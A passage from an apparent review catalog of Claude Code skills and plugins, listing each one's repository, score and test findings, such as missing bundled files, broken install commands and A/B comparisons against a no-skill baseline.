- **Semantic Search (Beacon)** [setup, 7.6/10] — Hybrid semantic + BM25 code search that intercepts and redirects grep Repo: https://github.com/sagarmk/beacon-plugin. Card: https://skillproof.dev/skills/semantic-search. What we found: The scripts are clean (embeddings go to a configurable endpoint that defaults to local Ollama; the OpenAI/Voyage keys are the user's own env vars, disclosed in providers.json), so it is safe, but I could not demonstrate any search delta: with no Ollama and no API key, sync.js failed on an unreachable embedding endpoint and search.js reported 'no index found', so the index never built. Copied as a standalone skill it is also inert -- its search command points at a plugin-only path and its grep-intercept lives in a hook the skill copy does not carry, so it only works installed as the whole Beacon plugin against a live embedding server.
- **Expo Mobile App Builder** [setup, 7.6/10] — Opinionated Expo React Native scaffold: RevenueCat paywall, AdMob, i18n, NativeTabs Repo: https://github.com/zaferayan/skills. Card: https://skillproof.dev/skills/zafer-skills. What we found: A single-file opinionated Expo guide that bans real footguns (AsyncStorage, lineHeight, expo-av, plain Tabs) and mandates the AdMob app.json plugin that otherwise crashes with GADInvalidInitializationException. Could not compile the delta: realizing its value needs a full Expo/EAS toolchain plus RevenueCat and AdMob accounts, so the edge over baseline is plausible but unproven by execution here.
- **Code Hygiene** [pass, 7.6/10] — Tool-first codebase health scan: dead code, test quality, complexity, security, architecture Repo: https://github.com/malakhov-dmitrii/forge. Card: https://skillproof.dev/skills/code-hygiene. What we found: Followed the tool-first pipeline on a small TypeScript project and knip cleanly surfaced all three planted issues: an orphaned never-imported file, an unused export, and an unused lodash dependency, stored to .omc/hygiene as the skill prescribes. The unused-dependency catch is the concrete edge over an unaided read, which would plausibly miss it, though on a four-file project the delta is modest and the designed large-repo agent mode went unmeasured. Note the skill's literal jq summary paths (.files[:50]) no longer match knip's current .issues[] output shape, so the pipeline needed adaptation.
- **Tech Debt Audit** [pass, 7.2/10] — Produces a file-cited technical debt report across nine dimensions with fix priorities. Repo: https://github.com/code-yeongyu/oh-my-openagent. Card: https://skillproof.dev/skills/tech-debt-audit. What we found: Installed verbatim (single-file skill, clean YAML frontmatter) and A/B-tested on a TypeScript sample seeded with 8 debt patterns: the skill arm found all 8 including the innerHTML XSS vector that the no-skill baseline missed (baseline: 6/8, plus a few extra valid findings). Trigger keywords are specific and fire cleanly on audit/health-check requests. Note: the doc is written for the oh-my-openagent runtime — it references sg/ast-grep, lsp_diagnostics and task() tooling with no Claude Code fallback, so the methodology degrades to plain grep without them.
- **FastAPI Templates** [setup, 7.2/10] — Scaffolds production-ready FastAPI projects with async patterns and error handling. Repo: https://github.com/wshobson/agents. Card: https://skillproof.dev/skills/fastapi-templates. What we found: Full test: verbatim install worked first try (documented repo path exists, strict-YAML frontmatter, referenced 409-line patterns file present, no API keys or external deps). A/B on an async CRUD router task showed skill-arm output equal in quality to the no-skill baseline — both correct and idiomatic FastAPI; the skill is a solid reference but adds no measurable lift over what the model already knows. Description triggers accurately on new-FastAPI-project prompts with mild over-breadth on generic 'backend API' phrasing.
- **Intended vs Implemented** [setup, 7.2/10] — Finds gaps between documented intent and actual code, like undocumented access-control drift. Repo: https://github.com/phuryn/pm-skills. Card: https://skillproof.dev/skills/intended-vs-implemented. What we found: Installed verbatim (git clone + cp) with zero surgery — single-file SKILL.md, strict-YAML frontmatter, no missing deps or API keys. Tested on a Flask access-control audit where docs (permissions.md) diverge from routes.py; the skill correctly found both critical gaps (unguarded DELETE and admin-only private-notes leak) and confirmed the one correctly-enforced rule. A/B: the base arm (no skill) caught the identical two gaps and the same correct case with no false positives, so on this task the skill added no measurable lift over baseline.
- **API Designer** [setup, 7.2/10] — Designs REST or GraphQL APIs with resource models, versioning, and error standards. Repo: https://github.com/Jeffallan/claude-skills. Card: https://skillproof.dev/skills/api-designer. What we found: Installed verbatim (target redirected to workdir): SKILL.md frontmatter is strict-YAML-valid and all five reference files (rest-patterns, versioning, pagination, error-handling, openapi) are present and substantial. On a Bookmarks REST API design task the skill produced a correct, complete result — noun-only URIs, cursor pagination with justification, valid OpenAPI 3.1, and an RFC 7807 error. A/B vs the no-skill base arm was a wash: both hit every requirement at essentially equal quality, so the skill adds solid guardrails but no transformative lift here.
- **Dev Implementation** [setup, 7.2/10] — Executes a feature's implementation plan task-by-task and checks the result against its design doc. Repo: https://github.com/codeaholicguy/ai-devkit. Card: https://skillproof.dev/skills/dev-implementation. What we found: Both listed phases open by shelling out to `npx ai-devkit@latest lint --feature <name>` against a `.ai-devkit.json` / `docs/ai` project structure — tested standalone outside an ai-devkit-scaffolded repo, step 1 has nothing to run against and the phase stalls immediately.
- **Feature Init** [setup, 7.2/10] — Scaffolds a feature.md + branch + tracker entry for the Disciplined Agentic Engineering pipeline. Repo: https://github.com/swingerman/disciplined-agentic-engineering. Card: https://skillproof.dev/skills/feature-init. What we found: Its scripts and references live at the plugin root (engineer/scripts, engineer/references), not inside engineer/skills/feature-init/ — copying just the feature-init folder per the catalog's standard install recipe silently strips every script and reference doc the workflow calls.
- **Flow Next Plan Review** [setup, 7.2/10] — Coordinates a Carmack-style AI plan review for Flow Next specs via Codex, Copilot, Cursor, or RepoPrompt. Repo: https://github.com/gmickel/flow-next. Card: https://skillproof.dev/skills/flow-next-plan-review. What we found: Coordinates AI-backend plan review (Codex/Copilot/Cursor/RepoPrompt) for the Flow Next spec workflow correctly suppressing every mention of the macOS-only RepoPrompt backend when RP_ELIGIBLE=0, but it's marked user-invocable: false and depends on a bundled flowctl binary plus one of those CLIs already configured — this is plugin internals, not a drop-in standalone skill.
- **SkillBoss** [setup, 7.2/10] — One paid CLI gateway to 359 AI/vendor APIs — image, video, TTS, scraping, DB, auth, deploy. Repo: https://github.com/SkillBoss-AI/skillboss-skills. Card: https://skillproof.dev/skills/skillboss. What we found: Two files the SKILL.md itself points to — commands.md in the Topic References table and install/update.sh in the update instructions — don't exist anywhere in the repo; the skill also requires a paid skillboss.co API key before any command in the doc actually runs.
- **Deep Analysis** [setup, 7.2/10] — Multi-agent codebase recon workflow that needs a custom Team/Task tool stack, not stock Claude Code. Repo: https://github.com/sequenzia/agent-alchemy. Card: https://skillproof.dev/skills/deep-analysis. What we found: The skill folder is just one SKILL.md file — the code-explorer and code-synthesizer subagents it dispatches to actually live a directory up, in claude/core-tools/agents/, so a plain cp -r of the skill leaves the workflow half-installed, and it further assumes TeamCreate/TaskCreate-style tools most Claude Code setups don't have.
- **GitLab Stack Config Generator** [setup, 7.2/10] — Generates env-driven nginx/Postgres/Redis configs, but its own validation phase needs sibling skills. Repo: https://github.com/rknall/claude-skills. Card: https://skillproof.dev/skills/gitlab-stack-config-generator. What we found: The generated CLAUDE.md, .gitignore, nginx.conf and env-sync check all matched the SKILL.md templates exactly, but the workflow's own 'strict validation' phase repeatedly calls out to docker-validation and secrets-manager skills that live in sibling folders of the same repo -- copy only config-generator/ per the stated install path and those calls have nothing to invoke.
- **Claude Code Mastery** [setup, 7.2/10] — Condensed cheat-sheet on Claude Code subagents, skills, hooks, and MCP for improving your own workflow. Repo: https://github.com/ToruAI/toru-claude-agents. Card: https://skillproof.dev/skills/claude-code-mastery. What we found: Useful condensed Claude Code reference, but two of its concrete recipes point outside the skill: docs at ~/.claude/docs/claude-code/ aren't included when you copy just this skill folder, and its 'Lost Knowledge' fix tells you to call megg_remember, a proprietary MCP from the author's own stack that this skill file never explains how to obtain.
- **ResearchClaw** [setup, 7.2/10] — Sets up, runs, and debugs the AutoResearchClaw 23-stage autonomous paper-writing CLI pipeline. Repo: https://github.com/OthmanAdi/researchclaw-skill. Card: https://skillproof.dev/skills/researchclaw. What we found: Real bundled hooks work as advertised (live-ran check-prereqs.sh, pre-config-write.sh, pre-delete-guard.sh -- accurate detection, real config backup, real delete block), but the skill's own headline install command 'pip3 install researchclaw' actually installs a deprecated, unrelated PyPI package (an inactive tool by a different author that tells you to switch to 'cr-cli') due to a namespace collision -- verified live against PyPI; the config file it generates (config.yaml via /researchclaw:config) also doesn't match what the real upstream CLI expects (config.arc.yaml via `researchclaw init`, confirmed against the live upstream README).
- **CloakBrowser** [setup, 7.2/10] — Wraps a third-party stealth-Chromium tool for anti-bot scraping, but needs a 206 MB proprietary binary the repo doesn't ship. Repo: https://github.com/OctavianTocan/cloakbrowser-skill. Card: https://skillproof.dev/skills/cloakbrowser. What we found: The scripts and argparse surface are clean and well-designed (all 6 py_compile cleanly, --help works standalone), and a local throwaway anti-bot server on 127.0.0.1 confirmed the real problem it targets (plain curl gets a 403, a browser-shaped UA gets 200) — but I could not verify the actual bypass claim because every script needs a separate uv/pipx install plus a ~206 MB proprietary Chromium binary from CloakHQ that isn't in this repo, and even the skill's own README admits its stealth codepaths were 'not end-to-end verified against a real protected target.'
- **Agentic Review** [setup, 7.2/10] — Severity-triaged git-diff review across security/perf/pattern/architecture lenses. Repo: https://github.com/SZoloth/skill-pack. Card: https://skillproof.dev/skills/agentic-review. What we found: Ran it for real against a throwaway repo seeded with a SQL injection, a hardcoded API key, and an N+1 loop: the severity-triaged process caught 2 real issues (unclosed DB connections, timing-unsafe key comparison) a plain review skipped, but Phase 4's entire premise — spawning agents literally named security-sentinel, kieran-python-reviewer, dhh-rails-reviewer, etc. — depends on custom subagent definitions that exist nowhere in this repo or in stock Claude Code, and the README's own install command points at a GitHub org (samzoloth) that 404s (the real org is SZoloth).
- **Bootstrap Botfile** [setup, 7.2/10] — Operator guide for the botfile CLI, but the skill file ships buried in an examples/tutorial fixture, not a top-level skills folder Repo: https://github.com/listfold/botfile. Card: https://skillproof.dev/skills/bootstrap-botfile. What we found: This is the repo's only SKILL.md and it's real, actively-kept-in-sync content (a Go test enforces it matches `botfile guide --format markdown` line for line) - but it lives three directories deep inside a tutorial fixture the top-level README never mentions, and it does nothing until the user separately builds/installs the botfile Go binary (no Go toolchain in this sandbox, so the CLI itself could not be exercised live).
- **cli2skill** [setup, 7.2/10] — Mechanically generates an Agent Skill markdown file from any CLI's --help output or an MCP server's tool list. Repo: https://github.com/2233admin/cli2skill. Card: https://skillproof.dev/skills/cli2skill. What we found: Actually ran it against 3 real CLIs: clean on gh (reproduced the README's own example exactly, correct description + all 32 subcommands), correct subcommand list but a useless generic top-level description on pip, and a near-empty, unusable skill file for git -- despite the SKILL.md's own description promising 'any command-line tool's --help output.' Requires a separate `pip install cli2skill` beyond dropping the markdown file.
- **Release Skills** [setup, 6.8/10] — Runs a version-aware release workflow across Node.js, Python, Rust, and other projects. Repo: https://github.com/JimLiu/baoyu-skills. Card: https://skillproof.dev/skills/release-skills. What we found: Installed verbatim (single self-contained SKILL.md, strict-YAML frontmatter parses, no missing assets) and exercised dry-run on a throwaway git repo — the real workflow tags, commits, pushes, and publishes GitHub Releases. It correctly detected the version file and changelog, chose a minor bump (1.2.3 to 1.3.0) from a feat commit, and emitted a well-formed multi-section changelog matching its documented dry-run format. A/B: output matched a no-skill baseline exactly (same semver, identical changelog block), so the skill's value is workflow structure/safety on real releases rather than better output on a narrow task; trigger surface is over-broad (bare 'push'/'推送' would misfire without release intent).
- **Debug Hooks** [setup, 6.8/10] — Works through a systematic workflow to debug hooks that misfire or misbehave. Repo: https://github.com/parcadei/Continuous-Claude-v3. Card: https://skillproof.dev/skills/debug-hooks. What we found: Tested a lowercase 'postToolUse' vs case-sensitive 'PostToolUse' settings.json key that silently prevents a Write hook from ever firing. Installs verbatim with no surgery; SKILL.md frontmatter is valid and the workflow is pure-bash with no hidden deps, though its description ('hooks') is broad enough to collide with generic React/git-hook prompts. A/B: both skill and no-skill arms independently nailed the exact root cause, one-line fix, and confirmation step, so the skill delivered no diagnostic lift on this task.
- **Rails Upgrade Assistant** [setup, 6.8/10] — Generates Rails upgrade detection scripts and reports — solid for 7.2+, missing for the first 7.0→7.1 hop. Repo: https://github.com/maquina-app/rails-upgrade-skill. Card: https://skillproof.dev/skills/rails-upgrade-assistant. What we found: Assembled the real Rails 7.1→7.2 detection script from the bundled pattern file and it correctly flagged all 5 planted breaking changes in a test app (vs. 2/5 for a from-memory baseline) — but the same approach dead-ends on the advertised 7.0→7.1 hop because no pattern file exists for it and 3 referenced reference/*.md files 404.
- **Opquast Digital Quality** [setup, 6.8/10] — Ships a solid embedded quality checklist, but the two reference files holding the actual '245 rules' don't exist in the repo. Repo: https://github.com/mgifford/accessibility-skills. Card: https://skillproof.dev/skills/opquast-digital-quality. What we found: Reviewed a throwaway test page (missing alt, unlabeled form fields, h1->h3 skip, #999-on-white text, 'click here' link) and the skill's embedded checklist alone produced a categorized, severity-rated, WCAG-mapped report clearly better than a freeform pass -- but Step 2 of its own workflow ('Load Detailed Rules') points to references/rules-part1.md and rules-part2.md, and neither file exists anywhere in the repo (verified via full git ls-tree), so the promised '245 rules... with code examples' are not actually deliverable, only the ~40-item summary checklist baked into SKILL.md itself.
- **Firefox CLI** [setup, 6.8/10] — Terminal control of the user's real, authenticated Firefox - but the skill folder ships zero setup help. Repo: https://github.com/respawn-llc/firefox-cli. Card: https://skillproof.dev/skills/firefox-cli. What we found: The skill folder is a single 70-line SKILL.md with no bundled scripts and no install instructions at all - it silently assumes 'firefox-cli' is already on PATH, paired with a signed Firefox extension, and approved by the user. Installed the real npm package (firefox-cli@0.2.0, confirmed live on the npm registry) into an isolated prefix and ran it for real: 'doctor' correctly reported the native-host manifest missing and the extension disconnected, and 'snapshot -i' failed with an honest, non-destructive setup-required error - so the tool itself is legit, but nothing in the shipped skill folder gets a user there.
- **Skill Repo** [setup, 6.8/10] — Netresearch's own standard for skill-repo layout, split licensing, and release CI — but its validator script crashes on macOS. Repo: https://github.com/netresearch/skill-repo-skill. Card: https://skillproof.dev/skills/skill-repo. What we found: Ran the bundled scripts/validate-skill.sh for real on a throwaway toy repo and it crashed immediately (`sed: extra characters at the end of = command`) on stock macOS/BSD sed, contradicting the SKILL.md's own 'Cross-platform Compatibility' section; the body also points to scripts/audit-skills.sh and docs/ARCHITECTURE.md which only exist at the source repo root, not in the installed skill folder (404 vs 200 confirmed via raw GitHub fetch).
- **Speak TTS** [setup, 6.8/10] — On-device Apple Silicon TTS CLI with voice cloning, auto-chunking and resume for long documents. Repo: https://github.com/EmZod/speak. Card: https://skillproof.dev/skills/speak-tts. What we found: Code-audited rather than executed (no Bun runtime and no throwaway 500MB model download in this sandbox): every documented flag, command, and even exact error string ('Server not running', file-not-found, sox-missing) was found genuinely implemented across a real 2,827-line TypeScript + 752-line Python codebase, not vaporware. But SKILL.md's own Prerequisites table never mentions Bun or Python 3.10+, and the project's own recommended agent quick-setup (copy SKILL.md only) ships a skill that references a `speak` binary that isn't actually on PATH.
- **Lissom Auto** [setup, 6.8/10] — Slash-command orchestrator for a research-plan-impl-review dev cycle with fix loop Repo: https://github.com/cuzfrog/lissom-skills. Card: https://skillproof.dev/skills/lissom-auto. What we found: The curl|bash installer ran clean and dropped lissom-auto plus its four sibling sub-skills, five agent definitions, and a sample T1 task into the project's .claude/ — note it installs project-local, not into ~/.claude, and only works as a bundle. It is a genuine orchestrator (lissom-review really spawns a lissom-reviewer Agent, etc.), but its payoff is long-run context protection across a multi-agent dev loop, which cannot be benchmarked against a no-skill baseline in a single session, so the output delta here is unmeasured rather than demonstrated.
- **Hive Terminal: PTY Sessions** [setup, 6.4/10] — Drives interactive terminal sessions and REPLs while preserving state across calls. Repo: https://github.com/aden-hive/hive. Card: https://skillproof.dev/skills/hive-terminal-tools-pty-sessions. What we found: Hard dependency, undisclosed: SKILL.md is a usage manual for terminal_pty_open/terminal_pty_run/terminal_pty_close tools that only exist when the Hive queen-agent's FastMCP terminal-tools server is running — they are absent from plain Claude Code and the skill never says so, reading as if the tools are simply available. Its own worked example is also buggy: the documented expect=r">>>\s*$" pattern for entering the python3 REPL never matches because trailing ANSI escape codes after the prompt defeat the $ anchor (timed out every run). Install itself was clean (git clone + cp verbatim, frontmatter parses, no missing files); an A/B against a no-skill base — both driving the repo's stdlib PtySession — produced identical correct results (cwd survived the REPL excursion, REPL computed 42, clean close), and the base actually sidestepped the buggy expect example, so the skill's conventions added no measurable correctness.
- **Add Vercel** [setup, 6/10] — Adds Vercel deployment capability to NanoClaw agent containers via the Vercel CLI. Repo: https://github.com/nanocoai/nanoclaw. Card: https://skillproof.dev/skills/add-vercel. What we found: ⚠ Security: its setup has you create a Vercel token with Full-Account scope and no expiration, then assigns it to every agent — scope it down and rotate. The skill's Phase 4/4b are stale against its own home repo: its bundled vercel-dockerfile.test.ts guard and grep check for an 'ARG VERCEL_VERSION' + 'pnpm install -g vercel@...' Dockerfile pattern that current nanoclaw trunk has replaced — vercel is now pinned via container/cli-tools.json and install-cli-tools.sh, so the skill's own Phase 4 check empirically reports MISSING on the live Dockerfile and would try to add duplicate/obsolete lines. Full use also needs a real NanoClaw checkout, a working onecli vault, Docker, and a live Vercel token/account (Phases 3/5/6), so it can't be exercised end-to-end in isolation. In the A/B on a self-contained Dockerfile-edit task, skill and base produced essentially the same correct pinned ARG+install — the skill added no lift and its guidance is anchored to an outdated mechanism.
- **Advisory Mining (find-cve-agent)** [setup, 4.8/10] — Multi-agent CVE-hunting plugin with OSV/NVD lookups and false-positive gates Repo: https://github.com/ByamB4/find-cve-agent. Card: https://skillproof.dev/skills/advisory-mining. What we found: This is a Claude Code plugin, not a skill: there is no SKILL.md or skill frontmatter anywhere in the repo, so copying it into ~/.claude/skills produces no loadable, auto-triggering skill - it only works through its install.sh plugin path and explicit /hunt slash commands. The bundled scripts are real and ran live: check-osv.sh returned 16 genuine advisories for PyPI 'requests', but the actual find-a-new-CVE payoff needs a chosen target and can't be shown to beat a no-skill baseline here.
- **Codebase Memory MCP** [fails, null/10] — Viral code-intelligence MCP: real graph, fast queries — token claim measured inverted. Repo: https://github.com/DeusData/codebase-memory-mcp. Card: https://skillproof.dev/skills/codebase-memory-mcp. What we found: Installs cleanly and the CLI genuinely works: one-command indexing, and call-chain tracing plus definition lookup in plain TypeScript are fast and precise. But on our 8-task structural benchmark its graph missed .astro frontmatter calls, dynamic import() and type-only imports, mislabeled private functions as exported, and the stock dead-code query returned mostly false positives — the agent fell back to the tool's own text search on half the tasks to stay correct. At equal accuracy (8/8 both arms) it used 127% MORE tokens than a plain file-reading agent, not the advertised '99% fewer'.
- **Code Review and Quality** [fails, null/10] — Reviews code across multiple quality dimensions before it merges into main. Repo: https://github.com/addyosmani/agent-skills. Card: https://skillproof.dev/skills/code-review-and-quality. What we found: The card's verbatim install copies only the skill folder and silently drops the repo-root references/ directory that SKILL.md's 'See Also' points to (security-checklist.md, performance-checklist.md) — you must copy those two files in manually. In an A/B review of a deliberately buggy PR, the skill arm produced a well-structured severity-labeled review, but the no-skill baseline caught every same issue plus one extra correctness bug (undeclared router), so the skill added format discipline rather than substance. Solid reference document for review methodology; expect setup surgery and no measurable output lift for a capable agent.
- **Add Ollama Provider** [fails, null/10] — Routes a NanoClaw agent group to a local Ollama model via env var overrides. Repo: https://github.com/nanocoai/nanoclaw. Card: https://skillproof.dev/skills/add-ollama-provider. What we found: SKILL.md's core steps don't match the codebase its own documented install clones: step 1a/1b edit a function `readContainerConfig` and insert after a `NANOCLAW_MCP_SERVERS` anchor that exist nowhere in the repo (verified on both main and providers branches), and step 3's hand-edited groups/<folder>/container.json is silently regenerated from the container_configs DB table by materializeContainerJson() on every container spawn — so the change never persists, and the DB row has no env/blockedHosts columns. The description's 'no provider code changes are needed' also contradicts the skill's own steps 1a/1b, which add TypeScript fields and docker-arg wiring (required on a fresh clone). On the adapted checkable task the A/B was a wash: skill and base arms produced byte-identical ContainerConfig edits and container.json/settings.json, because the task is well-specified and the skill's literal anchors had to be abandoned — the skill added no lift and, followed verbatim, would have misdirected. Full end-to-end verify (build/restart, live Ollama, Docker, provisioned agent-group DB row) is blocked in a fresh workdir per the skill's own prerequisites.
- **Atlassian MCP** [fails, null/10] — Manages Jira issues and Confluence pages through the Atlassian MCP integration. Repo: https://github.com/Jeffallan/claude-skills. Card: https://skillproof.dev/skills/atlassian-mcp. What we found: Requires a live, authenticated Atlassian Cloud/Server instance plus a running Atlassian MCP server (Docker or npx) — none of its real Jira/Confluence actions function without that, so this run only exercised the static artifact the skill constructs (JQL text and jira_create_issue_link payloads) from an inline spec. Install is clean (valid strict-YAML frontmatter, all 5 reference files present) and triggering is well-scoped to Atlassian work. In the A/B both skill and base produced identical correct JQL, but the skill's jira-queries.md reference has the inward/outward 'Blocks' link semantics inverted (verified against Atlassian's official issue-linking model: outwardIssue is the blocker), so it generated a reversed, wrong-direction link chain where the base's general knowledge got it right.
- **CC-SDD New Agent** [fails, null/10] — Adds or extends coding-agent support in cc-sdd by following its new-agent SOP. Repo: https://github.com/gotalab/cc-sdd. Card: https://skillproof.dev/skills/cc-sdd-new-agent. What we found: The core new-agent workflow reads docs/cc-sdd/sop-new-agent.md and docs/cc-sdd/templates/agent-plan-template.md, but docs/cc-sdd/ is DELIBERATELY gitignored (confirmed via git log commit 'docs: keep docs/cc-sdd ignored'), so no installer ever obtains those files and the primary path is dead on arrival; only the self-contained migration sub-path (references/skills-migration.md) actually works. On that surviving sub-path, an A/B test (skill vs no-skill) to plan a qwen-code -> qwen-code-skills variant produced roughly equal plans, and the base arm was arguably slightly sharper on repo-specific detail (it caught that qwen-code reuses gemini-cli's shared command tree, cited exact registry line numbers, and flagged args.test.ts). Install runs verbatim and SKILL.md frontmatter parses, but the description advertises new-agent and subagent-variant use cases the shipped files cannot support.
- **Export Agent** [fails, null/10] — Converts agent definitions between Claude, OpenAI, CrewAI, and other frameworks. Repo: https://github.com/open-gitagent/opengap. Card: https://skillproof.dev/skills/export-agent. What we found: Two verified defects dominate: (1) every documented command needs an external `opengap` npm CLI that neither the install step (a bare `cp -r` of SKILL.md) nor SKILL.md itself ever mentions installing — a fresh install fails at the first command with `command not found: opengap`, rescued only by running `npx @open-gitagent/opengap`; (2) confirmed OVERCLAIM — the description promises export to LangChain/AutoGen, but the real CLI rejects both as 'Unknown format' (it supports 14 other formats instead). In the A/B, the skill (once forced to run via npx) produced faithful CLAUDE.md + system-prompt exports but injected a stray literal '# === CLAUDE.md ===' banner into the file, while the base arm did the same conversion by hand cleaner and with proper structure — the skill did not beat manual conversion on this task.
- **Flow Next RP Explorer** [fails, null/10] — Routes 'use rp to...' requests to RepoPrompt's token-efficient codebase-exploration CLI. Repo: https://github.com/gmickel/flow-next. Card: https://skillproof.dev/skills/flow-next-rp-explorer. What we found: Trigger phrasing is airtight ('use rp'/'use repoprompt' + action, nothing looser), but the entire skill is inert without a separately purchased RepoPrompt app and its rp-cli binary -- not present in this sandbox (which rp-cli confirms), so the mini-task could only be checked on paper, not run end to end.
- **Plan Review Triggers** [fails, null/10] — Blocks inline multi-file plans and routes them through a local browser annotation UI instead. Repo: https://github.com/ndom91/open-plan-annotator. Card: https://skillproof.dev/skills/plan-review-triggers. What we found: This is a hard workflow gate, not a content skill: copying just the SKILL.md folder (the catalog's normal install) leaves it instructing Claude to call an ExitPlanMode hook and a /annotate-plan command that don't exist without the full open-plan-annotator plugin and its compiled runtime binary installed via /plugin marketplace add.
- **CodeAct** [fails, null/10] — Executes Python via the ipybox MCP server for code-mode tool calling — requires the full ipybox plugin bundle. Repo: https://github.com/gradion-ai/ipybox. Card: https://skillproof.dev/skills/codeact. What we found: The skill only functions bundled with its own ipybox MCP server and a project's gentools/mcptools folders; without those (the default state for any other Claude install) it can't execute anything, while a plain Python one-liner solved the same task instantly.
- **Marketplace Bump** [fails, null/10] — Bumps a plugin's semver in marketplace.json via jq, with major/minor/patch inference rules. Repo: https://github.com/robbyt/claude-skills. Card: https://skillproof.dev/skills/marketplace-bump. What we found: Ran the exact patch-bump jq command from SKILL.md on the repo's own marketplace.json and it threw 'no such file or directory: /tmp/claude/marketplace.json' — the command redirects into a scratch dir it never creates; a plain baseline python edit succeeded cleanly on the first try with no scratch dir needed.
- **Platform Skills** [fails, null/10] — Kubernetes/GitOps/Terraform/CI-CD router whose 59 reference playbooks live outside the installable skill folder. Repo: https://github.com/nitinjain999/platform-skills. Card: https://skillproof.dev/skills/platform-skills. What we found: Copying skills/platform-skills exactly as plugin.json designates it gets you a 19KB router SKILL.md and zero of the 59 references/*.md files or 38 slash commands it repeatedly points to (they live at the repo root, only reachable via `claude plugin install`, not a skill-folder copy) — a manual A/B on a CrashLoopBackOff pod showed the skill's own body offers no crashloop-specific playbook once those references are stripped away, and its 'design work' response template actually bloats a live-incident answer without adding fix specifics.
- **Skill Forge Audit** [fails, null/10] — Batch-grades every SKILL.md in a repo, worst-first, via skill-forge-judge. Repo: https://github.com/WrathZA/skillforge. Card: https://skillproof.dev/skills/skill-forge-audit. What we found: Installing only this skill (the documented GitHub-clone method) makes it dead on arrival: it hard-stops with 'skill-forge-judge is required — install it before running skill-forge-audit' because the batch runner is just a thin wrapper around a second, separately-hosted skill. Once skill-forge-judge is also installed, the real pipeline works well and beats an ad hoc manual review — sorted worst-first, capped improvement lists, clean grade table.
- **RubyCritic Code Quality Analysis** [fails, null/10] — Wraps the RubyCritic gem to grade Ruby/Rails files A-F and prioritize refactoring by churn. Repo: https://github.com/esparkman/claude-rubycritic-skill. Card: https://skillproof.dev/skills/rubycritic-code-quality-analysis. What we found: The skill's own first Implementation step ('gem install rubycritic') fails outright on any pre-3.2 Ruby: rubycritic's simplecov dependency now requires Ruby >=3.2, and this was reproduced live on system Ruby 2.6.10 with a hard ERROR from gem. SKILL.md never mentions a Ruby-version requirement anywhere, so the exact 'legacy codebase' use case it advertises is the one most likely to hit this wall unwarned.
- **Ardent** [fails, null/10] — Thin API wrapper for Ardent Postgres branching, gated behind a proprietary vm0.ai connector Repo: https://github.com/vm0-ai/vm0-skills. Card: https://skillproof.dev/skills/ardent. What we found: Task: create a Postgres branch via the Ardent API. The skill is an 18-line stub that assumes a proprietary vm0.ai 'Ardent' connector supplying ARDENT_API_KEY and defers every actual endpoint to external docs, so with no key and a paid connector wall I could not execute a single call and the output is unmeasured. Standalone it adds little over no skill beyond naming the ARDENT_API_KEY env var and the Bearer auth header. It installs fine and does not oversell, but it only functions inside the vm0/zero platform, so setup rather than pass.
- **Brain-Build** [fails, null/10] — Autonomous SPARC build contract: phase gates, self-grade >=95 loop, checkpoints Repo: https://github.com/stuinfla/ruvnet-brain. Card: https://skillproof.dev/skills/brain-build. What we found: Installed as a standalone skill it is inert: its own instructed commands 'node scripts/loop-checkpoint.mjs' and 'scripts/route-cheap.mjs' throw MODULE_NOT_FOUND because those scripts live in the repo root, not the copied skill dir, and it also calls a search_ruvnet MCP tool and a separate brain-score skill that a bare copy never brings. What survives is prompt discipline (SPARC phases, >=95 self-grade gate), which doesn't measurably beat an unstructured baseline on a small task; it only works properly via the full ruvnet-brain plugin (npx github:stuinfla/ruvnet-brain).
- **Thrunt Debug** [fails, null/10] — Orchestrates a scientific-method debug session in an isolated subagent Repo: https://github.com/backbay-labs/thrunt-god. Card: https://skillproof.dev/skills/thrunt-debug. What we found: Copied on its own the skill folder is just an orchestrator shell: its very first step runs node .github/thrunt-god/bin/thrunt-tools.cjs and then delegates all real work to a thrunt-incident-debugger subagent, neither of which is co-located with the skill or present in a normal project. It only functions after the entire thrunt-god framework and its custom agents are installed, so no standalone output delta could be demonstrated. The SKILL.md is a clean, well-structured checkpoint/continuation protocol with no security issues, but as an installed unit it is inert without its engine.
- **Cesium Context7** [fails, null/10] — Pinned Context7 library IDs for fetching current Cesium and 3D Tiles docs Repo: https://github.com/CesiumGS/cesium-ai-integrations. Card: https://skillproof.dev/skills/cesium-context7. What we found: Install verified verbatim from a clean HOME with no ~/.claude. The skill is a thin pointer that hands Cesium doc lookups to the Context7 MCP using four pre-pinned library IDs, so its whole payoff depends on that MCP being installed. With no Context7 MCP available the up-to-date-docs benefit could not be exercised and no delta over a no-skill baseline was shown. Body is clean and honest, but it only earns its keep once Context7 is wired up.
- **Gemini CLI Integration** [fails, null/10] — Hands large cross-file analysis to the Gemini CLI via a shared bridge script Repo: https://github.com/thepushkarp/cc-gemini-plugin. Card: https://skillproof.dev/skills/gemini-integration. What we found: The bridge script is real and works: all 5 bundled unit tests pass and --print-command assembles a correct structured prompt from an ingested file. But the actual payoff - a Gemini large-context answer - needs @google/gemini-cli plus Google auth, and neither is present here, so the handoff itself could not be run and no delta over the host model was measured. Docs are honest and list the install and auth steps up front.

## Design & Frontend (134 tested)
- **Codex GPT Image** [pass, 10/10] — Generates gpt-image-2 images via local Codex OAuth, no OPENAI_API_KEY needed. Repo: https://github.com/ningzimu/codex-gpt-image. Card: https://skillproof.dev/skills/codex-gpt-image. What we found: Ran the bundled CLI for real, end to end: auth-status found a live Codex session, then `generate` actually hit the Codex Images backend and wrote a genuine 1.85MB PNG of a red bicycle on a white background, matching the prompt precisely, in 44 seconds. No OPENAI_API_KEY was set on the machine, so the baseline (no image tool at all) simply cannot complete the task.
- **Slide Wright** [pass, 10/10] — Proposes an invented theme and a real 2-slide preview before it ever builds the full deck. Repo: https://github.com/arifszn/slide-wright. Card: https://skillproof.dev/skills/slide-wright. What we found: Built the same 'Q3 sales results' request two ways and rendered both in a real browser: a direct rewrite produced one plain black-on-white bullet slide, while following the skill produced an actual navigable 2-slide reveal.js deck with an invented dark-navy/amber ledger-grid theme, a stat grid layout, and speaker notes.
- **Compose App Icon** [pass, 10/10] — uv-bundled CLI pair that authors and JSON-Schema-validates Apple Icon Composer .icon packages Repo: https://github.com/giginet/apple-icon-composer-skill. Card: https://skillproof.dev/skills/compose-app-icon. What we found: Ran the bundled 25-test pytest suite for real (25/25 passed), then fed the same icon document through create_icon.py two ways: a naive version ignoring the SKILL.md 'Gotchas' section failed schema validation with the exact two errors the doc warns about (UI-label shadow kind, scale-only position missing translation-in-points); the version following the gotchas succeeded, produced a real .icon package, and validate_icon.py reported it VALID with output formatting matching the docs byte-for-byte.
